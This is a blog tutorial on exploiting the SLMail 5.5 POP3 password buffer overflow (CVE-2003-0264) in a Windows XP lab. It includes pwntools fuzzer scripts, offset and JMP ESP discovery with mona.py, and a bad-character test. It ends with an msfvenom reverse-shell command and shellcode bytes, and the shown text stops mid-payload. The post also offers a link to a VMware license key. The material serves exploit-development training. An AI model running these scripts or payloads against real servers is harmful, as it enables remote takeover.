x86 Exploit Development Series – SLMail 5.5.x

Introduction

In this post, I will be starting a series of papers on windows exploit development by reviewing some different well-known exploits, and by going over some techniques to exploit the Windows operating system.

Prerequisites

I am going to assume you have a decent understanding of the following items:

  • A basic understanding of how a CPU works.
  • A basic understanding of the Windows API.
  • A basic understanding of how memory works.
  • A basic understanding of how debugging works.

Lab Setup

To gather the information needed to debug and write exploits, I need to set up a lab for testing. There are many different ways to approach setting up a lab environment, but I used the following tools and resources for this specific instance.

Virtualization

  • VMware Workstation 15 Pro ( link and key [pass: d3d] )

Virtual Machines

  • Windows XP SP3 ISO ( link )
  • Kali Linux for VMware ( link )

Debugger Tools

Overview

For this post, I will be looking at the SLMail 5.5.x exploit listed as CVE-2003-0264.  There are a few security features that will need to be bypassed to achieve RCE (Remote Code Execution.)  I will be looking at exploiting this vulnerability with and without DEP protection turned on to display techniques in bypassing DEP protection.

What is DEP?

Data Execution Prevention (DEP) is a set of hardware and software technologies that perform additional checks on memory to help prevent malicious code from running on a system.  In Microsoft Windows XP Service Pack 2 (SP2) and Microsoft Windows XP Tablet PC Edition 2005, DEP is enforced by hardware and by software.

The primary benefit of DEP is to help prevent code execution from data pages. Typically, code is not executed from the default heap and the stack. Hardware-enforced DEP detects code that is running from these locations and raises an exception when execution occurs. Software-enforced DEP can help prevent malicious code from taking advantage of exception-handling mechanisms in Windows.

Debugging

For this research I will be using the Immunity Debugger with the mona.py library from Corelan. I will be using the Windows XP SP3 virtual machine with DEP protection enabled for the attack.

Setup

After installing Immunity on the Windows XP SP3 virtual machine, drop mona.py into the PyCommands/ folder (inside the Immunity Debugger application folder). To make sure mona.py is installed, and that it is running the latest version, you can type the following into the Immunity command line.

!mona help

After running the above command, you should see the mona.py help menu within the Immunity Debugger log window.

The next step is to set the working directory to save all the different log files that will be generated by mona.py. You can run the following command to set the working directory.

!mona config -set working folder c:\debug-logs\%p

If everything worked, you should see the following output in the log window.

0BADF00D [+] Command used: 
0BADF00D !mona config -set working folder c:\debug-logs\%p 
0BADF00D Writing value to configuration file 
0BADF00D [+] Saving config file, modified parameter working 
0BADF00D mona.ini saved under C:\Program Files\Immunity Inc\Immunity Debugger 
0BADF00D New value of parameter working = folder c:\debug-logs\%p

The working directory location will now contain all the different log files that will be generated by mona.py.

Fuzzing

The process of fuzzing applications for security flaws usually takes a long time depending on the attack surface of the application or service you are trying to fuzz.  I could write entire papers on different fuzzing techniques and still not scratch the surface of what’s possible.  To write a fuzzer for the SLMail 5.5.x application, I would usually make a list of all possible commands the service accepts, then write a script to run a while loop to send junk data to each command using variable lengths, but since the advisory mentions…

SLMail Pro is a web-based POP3 and SMTP email server for Microsoft Windows NT/2000/2003/7. The vulnerability occurs in the POP3 server and is caused by insufficient bounds checking of the user-supplied password during authentication.

So instead of fuzzing each service, I can focus on fuzzing the user-supplied password during a POP3 authentication attempt.  Before writing any fuzzer scripts for the POP3 protocol, I would recommend bookmarking the RFC1081 documentation to be used as a reference during development.

#!/usr/bin/env python3
from pwn import *

# Payload
payload = 'A' * 4000


def execute(_host: str, _port: int):
    # Connection Logic
    conn = remote(_host, _port)
    conn.recvline()  # b'+OK POP3 server WIN-XP-SP3 ready <[email protected]>\r\n'
    log.info("Sending USER data...")
    conn.send('USER d3d\r\n')
    assert conn.recvuntil(' ', drop=True) == b'+OK'
    log.info(f"Sending PASS with {len(payload)} junk characters")
    conn.send(f'PASS {payload}\r\n')


if __name__ == '__main__':
    if len(sys.argv) != 3:
        exit(f"[?] Usage: {sys.argv[0]}  ")
    host = str(sys.argv[1])
    port = int(sys.argv[2])
    execute(host, port)

After writing the python fuzzer script above, I went over to the Windows XP SP3 virtual machine to attach the Immunity Debugger to the smail.exe process which should be listening on port 110, as seen in the below image.

SLMail process attachment

After attaching the slmail.exe process within the Immunity Debugger, I created a virtual machine snapshot within VMware Workstation.  This will allow me to test multilpe times without restarting the virtual machine, or the POP3 service after every attempt.  Next, I am going to run the python script I created above to see what happens.

python3 pwn_fuzzer.py 192.168.8.160 110
[+] Opening connection to 192.168.8.160 on port 110: Done
[*] Sending USER data...
[*] Sending PASS with 4000 junk characters

As you can see in the above output, the fuzzer crashed the POP3 service with a payload size of 4000  bytes.   If I take a look at the debugger state, you can see that there was an Access Violation when trying to access memory at location 0x41414141.

SLmail - overflow

By sending 4000 bytes (A Characters), the buffer was overrun with data, which resulted in having other memory locations overwritten as well as seen in the following image.

Stack Overflow

You can verify this behavior by checking the registers within the debugger, and you should see that both the EBP and EIP registers were overwritten with A characters (0x41) as seen below.

SLmail Overflow Registers

The above verifies that I can get control of the EBP and EIP registers, however, sending 4000 bytes of the same character doesnt show us exactly where the overflow takes place without doing a lot more analysis within Immunity.  To find exactly where the overflow takes place within the 4000 bytes, I am going to use mona.py to generate a cyclic byte pattern.

To generate the cyclic pattern of 4000 bytes, I used the following command.

!mona pc 4000
0BADF00D   [+] Command used:
0BADF00D   !mona pc 4000
0BADF00D   Creating cyclic pattern of 4000 bytes
0BADF00D   Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac....
0BADF00D   [+] Preparing output file 'pattern.txt'
0BADF00D       - (Re)setting logfile c:\debug-logs\SLmail\pattern.txt
0BADF00D   Note: don't copy this pattern from the log window, it might be truncated !
0BADF00D   It's better to open c:\debug-logs\SLmail\pattern.txt and copy the pattern from the file
0BADF00D
0BADF00D   [+] This mona.py action took 0:00:00.110000

After generating the pattern, I need to rewrite the fuzzer script to send the pattern as a payload instead of 4000 ‘A’ characters.

#!/usr/bin/env python3
from pwn import *

# Payload
with open('pattern.txt', 'r') as file:
    payload = file.read().replace("\n", "")


def execute(_host: str, _port: int):
    # Connection Logic
    conn = remote(_host, _port)
    conn.recvline()  # b'+OK POP3 server WIN-XP-SP3 ready <[email protected]>\r\n'
    log.info("Sending USER data...")
    conn.send('USER d3d\r\n')
    assert conn.recvuntil(' ', drop=True) == b'+OK'
    log.info(f"Sending PASS with {len(payload)} character pattern")
    conn.send(f'PASS {payload}\r\n')


if __name__ == '__main__':
    if len(sys.argv) != 3:
        exit(f"[?] Usage: {sys.argv[0]}  ")
    host = str(sys.argv[1])
    port = int(sys.argv[2])
    execute(host, port)

After running the fuzzer with the pattern, it crashed the service as expected, but this time with a pattern of bytes 0x39694438 as seen below.

Pattern Overwrite

Because I crashed the service using cyclic pattern created by mona.py, I can use the following command to get information on where the pattern is within memory.

!mona findmsp
0BADF00D   [+] Command used:
0BADF00D   !mona findmsp
0BADF00D   [+] Looking for cyclic pattern in memory
0BADF00D       Cyclic pattern (normal) found at 0x015a18e3 (length 4000 bytes)
0BADF00D   [+] Examining registers
0BADF00D       EIP contains normal pattern : 0x39694438 (offset 2606)
0BADF00D       ESP (0x01d7a154) points at offset 2610 in normal pattern (length 430)
0BADF00D       EBP contains normal pattern : 0x69443769 (offset 2602)
0BADF00D   [+] Examining SEH chain
0BADF00D   [+] Examining stack (entire stack) - looking for cyclic pattern
0BADF00D       Walking stack from 0x01d78000 to 0x01d7fffc (0x00007ffc bytes)
0BADF00D       0x01d78fe4 : Contains normal cyclic pattern at ESP-0x1170 (-4464) : offset 2044, length 996 (-> 0x01d793c7 : ESP-0xd8c)
0BADF00D       0x01d79f20 : Contains normal cyclic pattern at ESP-0x234 (-564) : offset 2046, length 994 (-> 0x01d7a301 : ESP+0x1ae)
0BADF00D       0x01d7ab14 : Contains normal cyclic pattern at ESP+0x9c0 (+2496) : offset 2044, length 996 (-> 0x01d7aef7 : ESP+0xda4)
0BADF00D       0x01d7cf1c : Contains normal cyclic pattern at ESP+0x2dc8 (+11720) : offset 2044, length 996 (-> 0x01d7d2ff : ESP+0x31ac)
0BADF00D   [+] Examining stack (entire stack) - looking for pointers to cyclic pattern
0BADF00D       Walking stack from 0x01d78000 to 0x01d7fffc (0x00007ffc bytes)
0BADF00D       0x01d78f94 : Pointer into normal cyclic pattern at ESP-0x11c0 (-4544) : 0x01d7a148 : offset 2598, length 442
0BADF00D       0x01d79c58 : Pointer into normal cyclic pattern at ESP-0x4fc (-1276) : 0x01d7ae00 : offset 2792, length 248
0BADF00D       0x01d79d20 : Pointer into normal cyclic pattern at ESP-0x434 (-1076) : 0x01d7a010 : offset 2286, length 754
0BADF00D       0x01d79dcc : Pointer into normal cyclic pattern at ESP-0x388 (-904) : 0x01d7a08c : offset 2410, length 630
0BADF00D       0x01d79ddc : Pointer into normal cyclic pattern at ESP-0x378 (-888) : 0x01d7a010 : offset 2286, length 754
0BADF00D       0x01d79de0 : Pointer into normal cyclic pattern at ESP-0x374 (-884) : 0x01d7a060 : offset 2366, length 674
0BADF00D       0x01d79df0 : Pointer into normal cyclic pattern at ESP-0x364 (-868) : 0x01d7a00c : offset 2282, length 758
0BADF00D       0x01d7f378 : Pointer into normal cyclic pattern at ESP+0x5224 (+21028) : 0x01d7cf1c : offset 2044, length 996
0BADF00D       0x01d7f4d8 : Pointer into normal cyclic pattern at ESP+0x5384 (+21380) : 0x01d7d07c : offset 2396, length 644
0BADF00D       0x01d7f588 : Pointer into normal cyclic pattern at ESP+0x5434 (+21556) : 0x01d7a158 : offset 2614, length 426
0BADF00D       0x01d7f5d4 : Pointer into normal cyclic pattern at ESP+0x5480 (+21632) : 0x0159f0c4 : offset 2043, length 1957
0BADF00D       0x01d7f704 : Pointer into normal cyclic pattern at ESP+0x55b0 (+21936) : 0x01d7a2d4 : offset 2994, length 46
0BADF00D       0x01d7f75c : Pointer into normal cyclic pattern at ESP+0x5608 (+22024) : 0x0159f0c4 : offset 2043, length 1957
0BADF00D   [+] Preparing output file 'findmsp.txt'
0BADF00D       - (Re)setting logfile c:\debug-logs\SLmail\findmsp.txt
0BADF00D   [+] Generating module info table, hang on...
0BADF00D       - Processing modules
0BADF00D       - Done. Let's rock 'n roll.
0BADF00D
0BADF00D   [+] This mona.py action took 0:00:11.235000

The above output contains the offset to overwrite EBP, EIP and ESP, as seen below.

0BADF00D   [+] Examining registers
0BADF00D       EIP contains normal pattern : 0x39694438 (offset 2606)
0BADF00D       ESP (0x01d7a154) points at offset 2610 in normal pattern (length 430)
0BADF00D       EBP contains normal pattern : 0x69443769 (offset 2602)

The output above also shows that the ESP register contains 430 bytes of space starting at offset 2610, this should be plenty of room to store some shellcode to execute.

Exploit – No DEP

Since ESP points to the cyclic pattern, I should be able to put up to 430 bytes of shellcode in the ESP register, then use the EIP register to redirect execution flow to the ESP memory location.  I am going to look for a non-ASLR enabled DLL that contains a JMP ESP instruction and use that address to store in EIP.  To find a JMP ESP instruction that I can use, I will be mona.py to look through the memory to find an address using the following command.

!mona jmp -r ESP
================================================================================
  Output generated by mona.py v2.0, rev 596 - Immunity Debugger
  Corelan Team - https://www.corelan.be
================================================================================
  OS : xp, release 5.1.2600
  Process being debugged : SLmail (pid 128)
  Current mona arguments: jmp -r ESP
================================================================================
  2020-01-22 11:06:41
================================================================================
-----------------------------------------------------------------------------------------------------------------------------------------
 Module info :
-----------------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------
 0x76080000 | 0x760e5000 | 0x00065000 | False  | True    | False |  False   | True   | 6.02.3104.0 [MSVCP60.dll] (C:\WINDOWS\system32\MSVCP60.dll)
 0x00340000 | 0x0036a000 | 0x0002a000 | True   | False   | False |  False   | False  | 1.0 [ARM.dll] (C:\Program Files\SLmail\ARM.dll)
 0x00e90000 | 0x01155000 | 0x002c5000 | True   | True    | False |  False   | True   | 5.1.2600.5512 [xpsp2res.dll] (C:\WINDOWS\system32\xpsp2res.dll)
 0x7c800000 | 0x7c8f6000 | 0x000f6000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [kernel32.dll] (C:\WINDOWS\system32\kernel32.dll)
 0x77c10000 | 0x77c68000 | 0x00058000 | False  | True    | False |  False   | True   | 7.0.2600.5512 [msvcrt.dll] (C:\WINDOWS\system32\msvcrt.dll)
 0x7c900000 | 0x7c9af000 | 0x000af000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [ntdll.dll] (C:\WINDOWS\system32\ntdll.dll)
 0x10000000 | 0x10007000 | 0x00007000 | False  | False   | False |  False   | True   | 4.3.0.2 [Openc32.dll] (C:\WINDOWS\system32\Openc32.dll)
 0x71a90000 | 0x71a98000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [wshtcpip.dll] (C:\WINDOWS\System32\wshtcpip.dll)
 0x00400000 | 0x0045c000 | 0x0005c000 | False  | False   | False |  False   | False  | 5.1 [SLmail.exe] (C:\Program Files\SLmail\SLmail.exe)
 0x76fc0000 | 0x76fc6000 | 0x00006000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [rasadhlp.dll] (C:\WINDOWS\system32\rasadhlp.dll)
 0x77fe0000 | 0x77ff1000 | 0x00011000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [Secur32.dll] (C:\WINDOWS\system32\Secur32.dll)
 0x71aa0000 | 0x71aa8000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WS2HELP.dll] (C:\WINDOWS\system32\WS2HELP.dll)
 0x774e0000 | 0x7761d000 | 0x0013d000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [ole32.dll] (C:\WINDOWS\system32\ole32.dll)
 0x77f60000 | 0x77fd6000 | 0x00076000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [SHLWAPI.dll] (C:\WINDOWS\system32\SHLWAPI.dll)
 0x662b0000 | 0x66308000 | 0x00058000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [hnetcfg.dll] (C:\WINDOWS\system32\hnetcfg.dll)
 0x7e410000 | 0x7e4a1000 | 0x00091000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [USER32.dll] (C:\WINDOWS\system32\USER32.dll)
 0x763b0000 | 0x763f9000 | 0x00049000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [comdlg32.dll] (C:\WINDOWS\system32\comdlg32.dll)
 0x76c90000 | 0x76cb8000 | 0x00028000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [IMAGEHLP.dll] (C:\WINDOWS\system32\IMAGEHLP.dll)
 0x77120000 | 0x771ab000 | 0x0008b000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [OLEAUT32.dll] (C:\WINDOWS\system32\OLEAUT32.dll)
 0x7c9c0000 | 0x7d1d7000 | 0x00817000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [SHELL32.dll] (C:\WINDOWS\system32\SHELL32.dll)
 0x77e70000 | 0x77f02000 | 0x00092000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [RPCRT4.dll] (C:\WINDOWS\system32\RPCRT4.dll)
 0x76f20000 | 0x76f47000 | 0x00027000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [DNSAPI.dll] (C:\WINDOWS\system32\DNSAPI.dll)
 0x76fd0000 | 0x7704f000 | 0x0007f000 | False  | True    | False |  False   | True   | 2001.12.4414.700 [CLBCATQ.DLL] (C:\WINDOWS\system32\CLBCATQ.DLL)
 0x773d0000 | 0x774d3000 | 0x00103000 | False  | True    | False |  False   | True   | 6.0 [comctl32.dll] (C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll)
 0x76fb0000 | 0x76fb8000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [winrnr.dll] (C:\WINDOWS\System32\winrnr.dll)
 0x77050000 | 0x77115000 | 0x000c5000 | False  | True    | False |  False   | True   | 2001.12.4414.700 [COMRes.dll] (C:\WINDOWS\system32\COMRes.dll)
 0x76f60000 | 0x76f8c000 | 0x0002c000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WLDAP32.dll] (C:\WINDOWS\system32\WLDAP32.dll)
 0x5f400000 | 0x5f4f4000 | 0x000f4000 | False  | False   | False |  False   | True   | 6.00.8063.0 [SLMFC.DLL] (C:\WINDOWS\system32\SLMFC.DLL)
 0x5d090000 | 0x5d12a000 | 0x0009a000 | False  | True    | False |  False   | True   | 5.82 [COMCTL32.dll] (C:\WINDOWS\system32\COMCTL32.dll)
 0x00330000 | 0x00339000 | 0x00009000 | True   | False   | False |  False   | True   | 1.1 [ExcptHnd.dll] (C:\WINDOWS\system32\ExcptHnd.dll)
 0x77f10000 | 0x77f59000 | 0x00049000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [GDI32.dll] (C:\WINDOWS\system32\GDI32.dll)
 0x77c00000 | 0x77c08000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [VERSION.dll] (C:\WINDOWS\system32\VERSION.dll)
 0x77dd0000 | 0x77e6b000 | 0x0009b000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [ADVAPI32.dll] (C:\WINDOWS\system32\ADVAPI32.dll)
 0x00370000 | 0x0038f000 | 0x0001f000 | True   | False   | False |  False   | True   | 1.1 [Antares.dll] (C:\WINDOWS\system32\Antares.dll)
 0x71ab0000 | 0x71ac7000 | 0x00017000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WS2_32.dll] (C:\WINDOWS\system32\WS2_32.dll)
 0x71a50000 | 0x71a8f000 | 0x0003f000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [mswsock.dll] (C:\WINDOWS\system32\mswsock.dll)
 0x769c0000 | 0x76a74000 | 0x000b4000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [userenv.dll] (C:\WINDOWS\system32\userenv.dll)
-----------------------------------------------------------------------------------------------------------------------------------------
0x7608bce1 : jmp esp |  {PAGE_EXECUTE_READ} [MSVCP60.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.02.3104.0 (C:\WINDOWS\system32\MSVCP60.dll)
0x7c86467b : jmp esp |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)
0x71a91c8b : jmp esp |  {PAGE_EXECUTE_READ} [wshtcpip.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\System32\wshtcpip.dll)
0x77559bff : jmp esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x7755a930 : jmp esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x775a996b : jmp esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x775c068d : jmp esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x77fab227 : jmp esp |  {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHLWAPI.dll)
0x662eb24f : jmp esp |  {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
0x7e429353 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x7e4456f7 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x7e455af7 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x7e45b310 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x7c9d30d7 : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7c9d30eb : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7c9d30ff : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7c9d313b : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7c9d314f : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7c9d3163 : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7c9d318b : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7c9d319f : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7c9d31b3 : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7c9d31c7 : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7c9d31db : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7c9d31ef : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7c9d3203 : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7c9d3217 : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7cb3fa1e : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7cb48eed : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x77e8560a : jmp esp |  {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\RPCRT4.dll)
0x77e9025b : jmp esp |  {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\RPCRT4.dll)
0x77f31d2f : jmp esp |  {PAGE_EXECUTE_READ} [GDI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\GDI32.dll)
0x77def049 : jmp esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x77df965b : jmp esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x77e18063 : jmp esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x77e23b63 : jmp esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x77e42a9f : jmp esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x769d210f : jmp esp |  {PAGE_EXECUTE_READ} [userenv.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\userenv.dll)
0x769ea9a7 : jmp esp |  {PAGE_EXECUTE_READ} [userenv.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\userenv.dll)
0x769eb271 : jmp esp |  {PAGE_EXECUTE_READ} [userenv.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\userenv.dll)
0x769eb6d1 : jmp esp |  {PAGE_EXECUTE_READ} [userenv.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\userenv.dll)
0x769ecf49 : jmp esp |  {PAGE_EXECUTE_READ} [userenv.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\userenv.dll)

...

The output from mona.py prints out the address space of each loaded module, where it starts and ends within memory and its size. Before I can find a good JMP ESP instruction, I need to make sure I know which bytes are considered bad within any payload written against this service.  This is because I am using the PASS command on the vulnerable POP3 service to send data to the server, and this may be treated as a string which would mean characters like the null byte, carriage return or others may cause the payload to terminate before completing.  Because I don’t know what bytes are considered bad before testing, I will have to write a small test using python and mona.py, to check which bytes are corrupting the payload.

First I need to generate the byte array within mona.py by using the following command.

!mona bytearray

The command above will generate a text version and a binary version of the byte array.  The text version is what I will use within the python script, and the binary version mona.py uses when checking the memory.

#!/usr/bin/env python3
from pwn import *

# Payload
with open('badbytes.txt', 'r') as file:
    payload = 'A' * 2606  # EIP contains normal pattern : 0x39694438 (offset 2606)
    payload += file.read().replace("\n", "")


def execute(_host: str, _port: int):
    # Connection Logic
    conn = remote(_host, _port)
    conn.recvline()  # b'+OK POP3 server WIN-XP-SP3 ready <[email protected]>\r\n'
    log.info("Sending USER data...")
    conn.send('USER d3d\r\n')
    assert conn.recvuntil(' ', drop=True) == b'+OK'
    log.info(f"Sending PASS with {len(payload)} character pattern")
    conn.send(f'PASS {payload}\r\n')


if __name__ == '__main__':
    if len(sys.argv) != 3:
        exit(f"[?] Usage: {sys.argv[0]}  ")
    host = str(sys.argv[1])
    port = int(sys.argv[2])
    execute(host, port)


After running the pwn_badbytes.py script, I crashed the service as expected.  Now I need to run the following mona.py command to check the ESP memory address contents for the byte array.

!mona compare -f c:\debug-logs\slmail\bytearray.bin -a 0x01cea154

After running the above command, you should get confirmation within Immunity that bad-bytes were detected as seen in the following image.

bad-byte detected 0x00

As you can see from the image above, mona.py detected that 0x00 was a bad-byte. To exclude the 0x00 byte from mona.py, use the following command.

!mona bytearray -cpb \x00

Next, remove the the bad-byte from the pwn_badbytes.py script, and re-run.

python3 pwn_badbytes.py 192.168.8.160 110

Then check the byte array with mona.py, etc…

!mona compare -f c:\debug-logs\slmail\bytearray.bin -a 0x01cea154

After repeating the process 4 times, I found that only 3 bytes were considered to bad.  These bytes were 0x00, 0x0a and 0x0d. Now that I know all of the bad-bytes, I can generate some windows shellcode using msfvenom.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.156 LPORT=4444 -b '\x00\x0a\x0d' -f py
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1712 bytes
buf =  b""
buf += b"\xda\xd0\xd9\x74\x24\xf4\x5b\x33\xc9\xb1\x52\xbf\x36"
buf += b"\xed\x2d\x21\x31\x7b\x17\x03\x7b\x17\x83\xdd\x11\xcf"
buf += b"\xd4\xdd\x02\x92\x17\x1d\xd3\xf3\x9e\xf8\xe2\x33\xc4"
buf += b"\x89\x55\x84\x8e\xdf\x59\x6f\xc2\xcb\xea\x1d\xcb\xfc"
buf += b"\x5b\xab\x2d\x33\x5b\x80\x0e\x52\xdf\xdb\x42\xb4\xde"
buf += b"\x13\x97\xb5\x27\x49\x5a\xe7\xf0\x05\xc9\x17\x74\x53"
buf += b"\xd2\x9c\xc6\x75\x52\x41\x9e\x74\x73\xd4\x94\x2e\x53"
